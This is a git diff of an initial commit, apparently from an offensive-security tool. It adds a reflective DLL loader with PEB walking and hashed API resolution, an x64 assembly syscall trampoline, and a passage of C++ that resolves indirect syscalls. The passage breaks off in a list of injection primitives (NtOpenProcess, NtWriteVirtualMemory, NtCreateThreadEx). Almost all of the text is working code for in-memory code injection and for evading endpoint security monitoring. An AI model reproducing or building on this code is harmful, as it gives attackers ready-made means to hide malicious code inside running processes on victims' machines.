initial commit
This commit is contained in:
+256
@@ -0,0 +1,256 @@
|
||||
// reflective_loader.c
|
||||
// v0.14.2 (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#include <windows.h>
|
||||
#include "reflective_loader.h"
|
||||
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#pragma intrinsic(_rotr)
|
||||
|
||||
static DWORD ror_dword_loader(DWORD d)
|
||||
{
|
||||
return _rotr(d, HASH_KEY);
|
||||
}
|
||||
|
||||
static DWORD hash_string_loader(char *c)
|
||||
{
|
||||
DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror_dword_loader(h);
|
||||
h += *c;
|
||||
} while (*++c);
|
||||
return h;
|
||||
}
|
||||
|
||||
__declspec(noinline) ULONG_PTR GetIp(VOID)
|
||||
{
|
||||
return (ULONG_PTR)_ReturnAddress();
|
||||
}
|
||||
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpLoaderParameter)
|
||||
{
|
||||
LOADLIBRARYA_FN fnLoadLibraryA = NULL;
|
||||
GETPROCADDRESS_FN fnGetProcAddress = NULL;
|
||||
VIRTUALALLOC_FN fnVirtualAlloc = NULL;
|
||||
NTFLUSHINSTRUCTIONCACHE_FN fnNtFlushInstructionCache = NULL;
|
||||
|
||||
ULONG_PTR uiDllBase;
|
||||
ULONG_PTR uiPeb;
|
||||
ULONG_PTR uiKernel32Base = 0;
|
||||
ULONG_PTR uiNtdllBase = 0;
|
||||
|
||||
PIMAGE_NT_HEADERS pNtHeaders_current;
|
||||
PIMAGE_DOS_HEADER pDosHeader_current;
|
||||
|
||||
uiDllBase = GetIp();
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
pDosHeader_current = (PIMAGE_DOS_HEADER)uiDllBase;
|
||||
if (pDosHeader_current->e_magic == IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
pNtHeaders_current = (PIMAGE_NT_HEADERS)(uiDllBase + pDosHeader_current->e_lfanew);
|
||||
if (pNtHeaders_current->Signature == IMAGE_NT_SIGNATURE)
|
||||
break;
|
||||
}
|
||||
uiDllBase--;
|
||||
}
|
||||
|
||||
#if defined(_M_X64)
|
||||
uiPeb = __readgsqword(0x60);
|
||||
#elif defined(_M_ARM64)
|
||||
uiPeb = __readx18qword(0x60);
|
||||
#else
|
||||
return 0;
|
||||
#endif
|
||||
|
||||
PPEB_LDR_DATA_LDR pLdr = ((PPEB_LDR)uiPeb)->Ldr;
|
||||
PLIST_ENTRY pModuleList = &(pLdr->InMemoryOrderModuleList);
|
||||
PLIST_ENTRY pCurrentEntry = pModuleList->Flink;
|
||||
|
||||
while (pCurrentEntry != pModuleList && (!uiKernel32Base || !uiNtdllBase))
|
||||
{
|
||||
PLDR_DATA_TABLE_ENTRY_LDR pEntry = (PLDR_DATA_TABLE_ENTRY_LDR)CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY_LDR, InMemoryOrderLinks);
|
||||
if (pEntry->BaseDllName.Length > 0 && pEntry->BaseDllName.Buffer != NULL)
|
||||
{
|
||||
DWORD dwModuleHash = 0;
|
||||
USHORT usCounter = pEntry->BaseDllName.Length;
|
||||
BYTE *pNameByte = (BYTE *)pEntry->BaseDllName.Buffer;
|
||||
|
||||
do
|
||||
{
|
||||
dwModuleHash = ror_dword_loader(dwModuleHash);
|
||||
if (*pNameByte >= 'a' && *pNameByte <= 'z')
|
||||
{
|
||||
dwModuleHash += (*pNameByte - 0x20);
|
||||
}
|
||||
else
|
||||
{
|
||||
dwModuleHash += *pNameByte;
|
||||
}
|
||||
pNameByte++;
|
||||
} while (--usCounter);
|
||||
|
||||
if (dwModuleHash == KERNEL32DLL_HASH)
|
||||
{
|
||||
uiKernel32Base = (ULONG_PTR)pEntry->DllBase;
|
||||
}
|
||||
else if (dwModuleHash == NTDLLDLL_HASH)
|
||||
{
|
||||
uiNtdllBase = (ULONG_PTR)pEntry->DllBase;
|
||||
}
|
||||
}
|
||||
pCurrentEntry = pCurrentEntry->Flink;
|
||||
}
|
||||
|
||||
if (!uiKernel32Base || !uiNtdllBase)
|
||||
return 0;
|
||||
|
||||
PIMAGE_DOS_HEADER pDosKernel32 = (PIMAGE_DOS_HEADER)uiKernel32Base;
|
||||
PIMAGE_NT_HEADERS pNtKernel32 = (PIMAGE_NT_HEADERS)(uiKernel32Base + pDosKernel32->e_lfanew);
|
||||
ULONG_PTR uiExportDirK32 = uiKernel32Base + pNtKernel32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDirK32 = (PIMAGE_EXPORT_DIRECTORY)uiExportDirK32;
|
||||
|
||||
ULONG_PTR uiAddressOfNamesK32 = uiKernel32Base + pExportDirK32->AddressOfNames;
|
||||
ULONG_PTR uiAddressOfFunctionsK32 = uiKernel32Base + pExportDirK32->AddressOfFunctions;
|
||||
ULONG_PTR uiAddressOfNameOrdinalsK32 = uiKernel32Base + pExportDirK32->AddressOfNameOrdinals;
|
||||
|
||||
for (DWORD i = 0; i < pExportDirK32->NumberOfNames; i++)
|
||||
{
|
||||
char *sName = (char *)(uiKernel32Base + ((DWORD *)uiAddressOfNamesK32)[i]);
|
||||
DWORD dwHashVal = hash_string_loader(sName);
|
||||
if (dwHashVal == LOADLIBRARYA_HASH)
|
||||
fnLoadLibraryA = (LOADLIBRARYA_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
|
||||
else if (dwHashVal == GETPROCADDRESS_HASH)
|
||||
fnGetProcAddress = (GETPROCADDRESS_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
|
||||
else if (dwHashVal == VIRTUALALLOC_HASH)
|
||||
fnVirtualAlloc = (VIRTUALALLOC_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
|
||||
|
||||
if (fnLoadLibraryA && fnGetProcAddress && fnVirtualAlloc)
|
||||
break;
|
||||
}
|
||||
|
||||
if (!fnLoadLibraryA || !fnGetProcAddress || !fnVirtualAlloc)
|
||||
return 0;
|
||||
|
||||
PIMAGE_DOS_HEADER pDosNtdll = (PIMAGE_DOS_HEADER)uiNtdllBase;
|
||||
PIMAGE_NT_HEADERS pNtNtdll = (PIMAGE_NT_HEADERS)(uiNtdllBase + pDosNtdll->e_lfanew);
|
||||
ULONG_PTR uiExportDirNtdll = uiNtdllBase + pNtNtdll->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDirNtdll = (PIMAGE_EXPORT_DIRECTORY)uiExportDirNtdll;
|
||||
|
||||
ULONG_PTR uiAddressOfNamesNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNames;
|
||||
ULONG_PTR uiAddressOfFunctionsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfFunctions;
|
||||
ULONG_PTR uiAddressOfNameOrdinalsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNameOrdinals;
|
||||
|
||||
for (DWORD i = 0; i < pExportDirNtdll->NumberOfNames; i++)
|
||||
{
|
||||
char *sName = (char *)(uiNtdllBase + ((DWORD *)uiAddressOfNamesNtdll)[i]);
|
||||
if (hash_string_loader(sName) == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||
{
|
||||
fnNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE_FN)(uiNtdllBase + ((DWORD *)uiAddressOfFunctionsNtdll)[((WORD *)uiAddressOfNameOrdinalsNtdll)[i]]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!fnNtFlushInstructionCache)
|
||||
return 0;
|
||||
|
||||
PIMAGE_NT_HEADERS pOldNtHeaders = pNtHeaders_current;
|
||||
ULONG_PTR uiNewImageBase = (ULONG_PTR)fnVirtualAlloc(NULL, pOldNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if (!uiNewImageBase)
|
||||
return 0;
|
||||
|
||||
PBYTE pSourceBytes = (PBYTE)uiDllBase;
|
||||
PBYTE pDestinationBytes = (PBYTE)uiNewImageBase;
|
||||
DWORD dwBytesToCopy = pOldNtHeaders->OptionalHeader.SizeOfHeaders;
|
||||
|
||||
while (dwBytesToCopy--)
|
||||
{
|
||||
*pDestinationBytes++ = *pSourceBytes++;
|
||||
}
|
||||
|
||||
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&pOldNtHeaders->OptionalHeader + pOldNtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
for (WORD i = 0; i < pOldNtHeaders->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
pSourceBytes = (PBYTE)(uiDllBase + pSectionHeader[i].PointerToRawData);
|
||||
pDestinationBytes = (PBYTE)(uiNewImageBase + pSectionHeader[i].VirtualAddress);
|
||||
dwBytesToCopy = pSectionHeader[i].SizeOfRawData;
|
||||
|
||||
while (dwBytesToCopy--)
|
||||
{
|
||||
*pDestinationBytes++ = *pSourceBytes++;
|
||||
}
|
||||
}
|
||||
|
||||
ULONG_PTR uiDelta = uiNewImageBase - pOldNtHeaders->OptionalHeader.ImageBase;
|
||||
PIMAGE_DATA_DIRECTORY pRelocationData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
|
||||
if (pRelocationData->Size > 0 && uiDelta != 0)
|
||||
{
|
||||
PIMAGE_BASE_RELOCATION pRelocBlock = (PIMAGE_BASE_RELOCATION)(uiNewImageBase + pRelocationData->VirtualAddress);
|
||||
while (pRelocBlock->VirtualAddress)
|
||||
{
|
||||
DWORD dwEntryCount = (pRelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
PIMAGE_RELOC_ENTRY pRelocEntry = (PIMAGE_RELOC_ENTRY)((ULONG_PTR)pRelocBlock + sizeof(IMAGE_BASE_RELOCATION));
|
||||
for (DWORD k = 0; k < dwEntryCount; k++)
|
||||
{
|
||||
#if defined(_M_X64) || defined(_M_ARM64)
|
||||
if (pRelocEntry[k].type == IMAGE_REL_BASED_DIR64)
|
||||
{
|
||||
*(ULONG_PTR *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += uiDelta;
|
||||
}
|
||||
#else
|
||||
if (pRelocEntry[k].type == IMAGE_REL_BASED_HIGHLOW)
|
||||
{
|
||||
*(DWORD *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += (DWORD)uiDelta;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
pRelocBlock = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pRelocBlock + pRelocBlock->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
|
||||
PIMAGE_DATA_DIRECTORY pImportData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
if (pImportData->Size > 0)
|
||||
{
|
||||
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(uiNewImageBase + pImportData->VirtualAddress);
|
||||
while (pImportDesc->Name)
|
||||
{
|
||||
char *sModuleName = (char *)(uiNewImageBase + pImportDesc->Name);
|
||||
HINSTANCE hModule = fnLoadLibraryA(sModuleName);
|
||||
if (hModule)
|
||||
{
|
||||
PIMAGE_THUNK_DATA pOriginalFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->OriginalFirstThunk);
|
||||
PIMAGE_THUNK_DATA pFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->FirstThunk);
|
||||
if (!pOriginalFirstThunk)
|
||||
pOriginalFirstThunk = pFirstThunk;
|
||||
|
||||
while (pOriginalFirstThunk->u1.AddressOfData)
|
||||
{
|
||||
FARPROC pfnImportedFunc;
|
||||
if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal))
|
||||
{
|
||||
pfnImportedFunc = fnGetProcAddress(hModule, (LPCSTR)(pOriginalFirstThunk->u1.Ordinal & 0xFFFF));
|
||||
}
|
||||
else
|
||||
{
|
||||
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiNewImageBase + pOriginalFirstThunk->u1.AddressOfData);
|
||||
pfnImportedFunc = fnGetProcAddress(hModule, pImportByName->Name);
|
||||
}
|
||||
pFirstThunk->u1.Function = (ULONG_PTR)pfnImportedFunc;
|
||||
pOriginalFirstThunk++;
|
||||
pFirstThunk++;
|
||||
}
|
||||
}
|
||||
pImportDesc++;
|
||||
}
|
||||
}
|
||||
|
||||
DLLMAIN_FN fnDllEntry = (DLLMAIN_FN)(uiNewImageBase + pOldNtHeaders->OptionalHeader.AddressOfEntryPoint);
|
||||
fnNtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||
fnDllEntry((HINSTANCE)uiNewImageBase, DLL_PROCESS_ATTACH, lpLoaderParameter);
|
||||
|
||||
return uiNewImageBase;
|
||||
}
|
||||
+213
@@ -0,0 +1,213 @@
|
||||
// reflective_loader.h
|
||||
// v0.14.2 (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#ifndef REFLECTIVE_LOADER_H
|
||||
#define REFLECTIVE_LOADER_H
|
||||
#pragma once
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <intrin.h>
|
||||
|
||||
#if defined(_M_X64) || defined(_M_ARM64)
|
||||
#define ENVIRONMENT64
|
||||
#else
|
||||
#error "Unsupported architecture: Reflective Loader is designed for 64-bit environments (x64, ARM64)."
|
||||
#endif
|
||||
|
||||
#if defined(_MSC_VER)
|
||||
#define DLLEXPORT __declspec(dllexport)
|
||||
#else
|
||||
#define DLLEXPORT
|
||||
#endif
|
||||
|
||||
typedef HMODULE(WINAPI *LOADLIBRARYA_FN)(LPCSTR);
|
||||
typedef FARPROC(WINAPI *GETPROCADDRESS_FN)(HMODULE, LPCSTR);
|
||||
typedef LPVOID(WINAPI *VIRTUALALLOC_FN)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef NTSTATUS(NTAPI *NTFLUSHINSTRUCTIONCACHE_FN)(HANDLE, PVOID, ULONG);
|
||||
typedef BOOL(WINAPI *DLLMAIN_FN)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
#define HASH_KEY 13
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
typedef struct _UNICODE_STRING_LDR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING_LDR, *PUNICODE_STRING_LDR;
|
||||
|
||||
typedef struct _PEB_LDR_DATA_LDR
|
||||
{
|
||||
ULONG Length;
|
||||
BOOLEAN Initialized;
|
||||
HANDLE SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID EntryInProgress;
|
||||
BOOLEAN ShutdownInProgress;
|
||||
HANDLE ShutdownThreadId;
|
||||
} PEB_LDR_DATA_LDR, *PPEB_LDR_DATA_LDR;
|
||||
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY_LDR
|
||||
{
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InInitializationOrderLinks;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING_LDR FullDllName;
|
||||
UNICODE_STRING_LDR BaseDllName;
|
||||
ULONG Flags;
|
||||
USHORT LoadCount;
|
||||
USHORT TlsIndex;
|
||||
union
|
||||
{
|
||||
LIST_ENTRY HashLinks;
|
||||
struct
|
||||
{
|
||||
PVOID SectionPointer;
|
||||
ULONG CheckSum;
|
||||
};
|
||||
};
|
||||
union
|
||||
{
|
||||
ULONG TimeDateStamp;
|
||||
PVOID LoadedImports;
|
||||
};
|
||||
PVOID EntryPointActivationContext;
|
||||
PVOID PatchInformation;
|
||||
LIST_ENTRY ForwarderLinks;
|
||||
LIST_ENTRY ServiceTagLinks;
|
||||
LIST_ENTRY StaticLinks;
|
||||
} LDR_DATA_TABLE_ENTRY_LDR, *PLDR_DATA_TABLE_ENTRY_LDR;
|
||||
|
||||
typedef struct _PEB_LDR
|
||||
{
|
||||
BOOLEAN InheritedAddressSpace;
|
||||
BOOLEAN ReadImageFileExecOptions;
|
||||
BOOLEAN BeingDebugged;
|
||||
union
|
||||
{
|
||||
BOOLEAN BitField;
|
||||
struct
|
||||
{
|
||||
BOOLEAN ImageUsesLargePages : 1;
|
||||
BOOLEAN IsProtectedProcess : 1;
|
||||
BOOLEAN IsImageDynamicallyRelocated : 1;
|
||||
BOOLEAN SkipPatchingUser32Forwarders : 1;
|
||||
BOOLEAN IsPackagedProcess : 1;
|
||||
BOOLEAN IsAppContainer : 1;
|
||||
BOOLEAN IsProtectedProcessLight : 1;
|
||||
BOOLEAN IsLongPathAware : 1;
|
||||
};
|
||||
};
|
||||
HANDLE Mutant;
|
||||
PVOID ImageBaseAddress;
|
||||
PPEB_LDR_DATA_LDR Ldr;
|
||||
PVOID ProcessParameters;
|
||||
PVOID SubSystemData;
|
||||
PVOID ProcessHeap;
|
||||
PVOID FastPebLock;
|
||||
PVOID AtlThunkSListPtr;
|
||||
PVOID IFEOKey;
|
||||
union
|
||||
{
|
||||
ULONG CrossProcessFlags;
|
||||
struct
|
||||
{
|
||||
ULONG ProcessInJob : 1;
|
||||
ULONG ProcessInitializing : 1;
|
||||
ULONG ProcessUsingVEH : 1;
|
||||
ULONG ProcessUsingVCH : 1;
|
||||
ULONG ProcessUsingFTH : 1;
|
||||
ULONG ProcessPreviouslyThrottled : 1;
|
||||
ULONG ProcessCurrentlyThrottled : 1;
|
||||
ULONG ProcessImagesHotPatched : 1;
|
||||
ULONG ReservedBits0 : 24;
|
||||
};
|
||||
};
|
||||
union
|
||||
{
|
||||
PVOID KernelCallbackTable;
|
||||
PVOID UserSharedInfoPtr;
|
||||
};
|
||||
ULONG SystemReserved;
|
||||
ULONG AtlThunkSListPtr32;
|
||||
PVOID ApiSetMap;
|
||||
ULONG TlsExpansionCounter;
|
||||
PVOID TlsBitmap;
|
||||
ULONG TlsBitmapBits[2];
|
||||
PVOID ReadOnlySharedMemoryBase;
|
||||
PVOID SharedData;
|
||||
PVOID *ReadOnlyStaticServerData;
|
||||
PVOID AnsiCodePageData;
|
||||
PVOID OemCodePageData;
|
||||
PVOID UnicodeCaseTableData;
|
||||
ULONG NumberOfProcessors;
|
||||
ULONG NtGlobalFlag;
|
||||
LARGE_INTEGER CriticalSectionTimeout;
|
||||
SIZE_T HeapSegmentReserve;
|
||||
SIZE_T HeapSegmentCommit;
|
||||
SIZE_T HeapDeCommitTotalFreeThreshold;
|
||||
SIZE_T HeapDeCommitFreeBlockThreshold;
|
||||
ULONG NumberOfHeaps;
|
||||
ULONG MaximumNumberOfHeaps;
|
||||
PVOID *ProcessHeaps;
|
||||
PVOID GdiSharedHandleTable;
|
||||
PVOID ProcessStarterHelper;
|
||||
ULONG GdiDCAttributeList;
|
||||
PVOID LoaderLock;
|
||||
ULONG OSMajorVersion;
|
||||
ULONG OSMinorVersion;
|
||||
USHORT OSBuildNumber;
|
||||
USHORT OSCSDVersion;
|
||||
ULONG OSPlatformId;
|
||||
ULONG ImageSubsystem;
|
||||
ULONG ImageSubsystemMajorVersion;
|
||||
ULONG ImageSubsystemMinorVersion;
|
||||
ULONG_PTR ActiveProcessAffinityMask;
|
||||
ULONG GdiHandleBuffer[60];
|
||||
PVOID PostProcessInitRoutine;
|
||||
PVOID TlsExpansionBitmap;
|
||||
ULONG TlsExpansionBitmapBits[32];
|
||||
ULONG SessionId;
|
||||
ULARGE_INTEGER AppCompatFlags;
|
||||
ULARGE_INTEGER AppCompatFlagsUser;
|
||||
PVOID pShimData;
|
||||
PVOID AppCompatInfo;
|
||||
UNICODE_STRING_LDR CSDVersion;
|
||||
PVOID ActivationContextData;
|
||||
PVOID ProcessAssemblyStorageMap;
|
||||
PVOID SystemDefaultActivationContextData;
|
||||
PVOID SystemAssemblyStorageMap;
|
||||
SIZE_T MinimumStackCommit;
|
||||
PVOID SparePointers[2];
|
||||
PVOID PatchLoaderData;
|
||||
PVOID ChpeV2ProcessInfo;
|
||||
ULONG AppModelFeatureState;
|
||||
ULONG SpareUlongs[2];
|
||||
USHORT ActiveConsoleId;
|
||||
USHORT AppCompatVersionInfo;
|
||||
PVOID ExtendedProcessInfo;
|
||||
} PEB_LDR, *PPEB_LDR;
|
||||
|
||||
typedef struct _IMAGE_RELOC_ENTRY
|
||||
{
|
||||
WORD offset : 12;
|
||||
WORD type : 4;
|
||||
} IMAGE_RELOC_ENTRY, *PIMAGE_RELOC_ENTRY;
|
||||
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,51 @@
|
||||
; syscall_trampoline_x64.asm
|
||||
; v0.14.2 (c) Alexander 'xaitax' Hagenah
|
||||
; Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
;
|
||||
; ABI-compliant x64 trampoline with unconditional marshalling for max arguments.
|
||||
; Allocates sufficient stack to prevent overwrite issues. Uses rep movsq for efficient block copy.
|
||||
; Preserves necessary non-volatile registers. Eliminates dynamic loop to reduce complexity and potential errors.
|
||||
; Sets SSN before dispatching to gadget. Handles up to 11 syscall arguments safely (copies 8 stack slots, extra as harmless garbage).
|
||||
|
||||
.code
|
||||
ALIGN 16
|
||||
PUBLIC SyscallTrampoline
|
||||
|
||||
SyscallTrampoline PROC FRAME
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
push rbx
|
||||
push rdi
|
||||
push rsi
|
||||
sub rsp, 80h ; Allocate 128 bytes: safe for shadow (0x20) + 8 qwords (0x40) + padding
|
||||
.ENDPROLOG
|
||||
|
||||
mov rbx, rcx ; Preserve SYSCALL_ENTRY* in rbx (non-volatile)
|
||||
|
||||
; Marshal register-based arguments (shifted due to extra SYSCALL_ENTRY* parameter)
|
||||
mov r10, rdx ; Syscall-Arg1 <- C-Arg2
|
||||
mov rdx, r8 ; Syscall-Arg2 <- C-Arg3
|
||||
mov r8, r9 ; Syscall-Arg3 <- C-Arg4
|
||||
mov r9, [rbp+30h] ; Syscall-Arg4 <- C-Arg5 (from caller's stack)
|
||||
|
||||
; Unconditionally marshal 8 stack arguments (covers max of 7 needed + 1 extra; garbage for fewer is harmless)
|
||||
lea rsi, [rbp+38h] ; Source: C-Arg6 (Syscall-Arg5 position in caller's stack)
|
||||
lea rdi, [rsp+20h] ; Destination: Syscall-Arg5 position in local stack
|
||||
mov rcx, 8 ; Copy 8 qwords (64 bytes)
|
||||
rep movsq ; Block copy (efficient and modular)
|
||||
|
||||
; Prepare for kernel transition
|
||||
movzx eax, word ptr [rbx+12] ; Load SSN into EAX
|
||||
mov r11, [rbx] ; Load gadget address
|
||||
|
||||
call r11 ; Dispatch to gadget (syscall; ret)
|
||||
|
||||
; Epilogue: Restore stack and registers
|
||||
add rsp, 80h
|
||||
pop rsi
|
||||
pop rdi
|
||||
pop rbx
|
||||
pop rbp
|
||||
ret
|
||||
SyscallTrampoline ENDP
|
||||
END
|
||||
+264
@@ -0,0 +1,264 @@
|
||||
// syscalls.cpp
|
||||
// v0.14.2 (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#include "syscalls.h"
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <algorithm>
|
||||
#include <cstdint>
|
||||
#include <iostream>
|
||||
#include <sstream>
|
||||
#include <iomanip>
|
||||
#include <map>
|
||||
#include <functional>
|
||||
|
||||
SYSCALL_STUBS g_syscall_stubs{};
|
||||
|
||||
static bool g_verbose_syscalls = false;
|
||||
static void debug_print(const std::string &msg)
|
||||
{
|
||||
if (g_verbose_syscalls)
|
||||
{
|
||||
std::cout << "[#] [Syscalls] " << msg << std::endl;
|
||||
}
|
||||
}
|
||||
|
||||
extern "C" NTSTATUS SyscallTrampoline(...);
|
||||
|
||||
namespace
|
||||
{
|
||||
struct SORTED_SYSCALL_MAPPING
|
||||
{
|
||||
PVOID pAddress;
|
||||
LPCSTR szName;
|
||||
};
|
||||
|
||||
bool CompareSyscallMappings(const SORTED_SYSCALL_MAPPING &a, const SORTED_SYSCALL_MAPPING &b)
|
||||
{
|
||||
return reinterpret_cast<uintptr_t>(a.pAddress) < reinterpret_cast<uintptr_t>(b.pAddress);
|
||||
}
|
||||
|
||||
PVOID FindSyscallGadget_x64(PVOID pFunction)
|
||||
{
|
||||
for (DWORD i = 0; i <= 20; ++i)
|
||||
{
|
||||
auto current_addr = reinterpret_cast<PBYTE>(pFunction) + i;
|
||||
if (*reinterpret_cast<PWORD>(current_addr) == 0x050F && *(current_addr + 2) == 0xC3)
|
||||
{
|
||||
return current_addr;
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
PVOID FindSvcGadget_ARM64(PVOID pFunction)
|
||||
{
|
||||
for (DWORD i = 0; i <= 20; i += 4)
|
||||
{
|
||||
auto current_addr = reinterpret_cast<PBYTE>(pFunction) + i;
|
||||
DWORD instruction = *reinterpret_cast<PDWORD>(current_addr);
|
||||
if ((instruction & 0xFF000000) == 0xD4000000 && *reinterpret_cast<PDWORD>(current_addr + 4) == 0xD65F03C0)
|
||||
{
|
||||
return current_addr;
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL InitializeSyscalls(bool is_verbose)
|
||||
{
|
||||
g_verbose_syscalls = is_verbose;
|
||||
|
||||
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hNtdll)
|
||||
{
|
||||
debug_print("GetModuleHandleW for ntdll.dll failed.");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
auto pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(hNtdll);
|
||||
auto pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<PBYTE>(hNtdll) + pDosHeader->e_lfanew);
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDir = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(reinterpret_cast<PBYTE>(hNtdll) + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
auto pNameRvas = reinterpret_cast<PDWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfNames);
|
||||
auto pAddressRvas = reinterpret_cast<PDWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfFunctions);
|
||||
auto pOrdinalRvas = reinterpret_cast<PWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfNameOrdinals);
|
||||
|
||||
std::vector<SORTED_SYSCALL_MAPPING> sortedSyscalls;
|
||||
sortedSyscalls.reserve(pExportDir->NumberOfNames);
|
||||
|
||||
for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i)
|
||||
{
|
||||
LPCSTR szFuncName = reinterpret_cast<LPCSTR>(reinterpret_cast<PBYTE>(hNtdll) + pNameRvas[i]);
|
||||
if (strncmp(szFuncName, "Zw", 2) == 0)
|
||||
{
|
||||
PVOID pFuncAddress = reinterpret_cast<PVOID>(reinterpret_cast<PBYTE>(hNtdll) + pAddressRvas[pOrdinalRvas[i]]);
|
||||
sortedSyscalls.push_back({pFuncAddress, szFuncName});
|
||||
}
|
||||
}
|
||||
|
||||
std::sort(sortedSyscalls.begin(), sortedSyscalls.end(), CompareSyscallMappings);
|
||||
debug_print("Found and sorted " + std::to_string(sortedSyscalls.size()) + " Zw* functions.");
|
||||
|
||||
struct CStringComparer
|
||||
{
|
||||
bool operator()(const char *a, const char *b) const { return std::strcmp(a, b) < 0; }
|
||||
};
|
||||
const std::map<const char *, std::pair<SYSCALL_ENTRY *, UINT>, CStringComparer> required_syscalls = {
|
||||
{"ZwAllocateVirtualMemory", {&g_syscall_stubs.NtAllocateVirtualMemory, 6}},
|
||||
{"ZwWriteVirtualMemory", {&g_syscall_stubs.NtWriteVirtualMemory, 5}},
|
||||
{"ZwReadVirtualMemory", {&g_syscall_stubs.NtReadVirtualMemory, 5}},
|
||||
{"ZwCreateThreadEx", {&g_syscall_stubs.NtCreateThreadEx, 11}},
|
||||
{"ZwFreeVirtualMemory", {&g_syscall_stubs.NtFreeVirtualMemory, 4}},
|
||||
{"ZwProtectVirtualMemory", {&g_syscall_stubs.NtProtectVirtualMemory, 5}},
|
||||
{"ZwOpenProcess", {&g_syscall_stubs.NtOpenProcess, 4}},
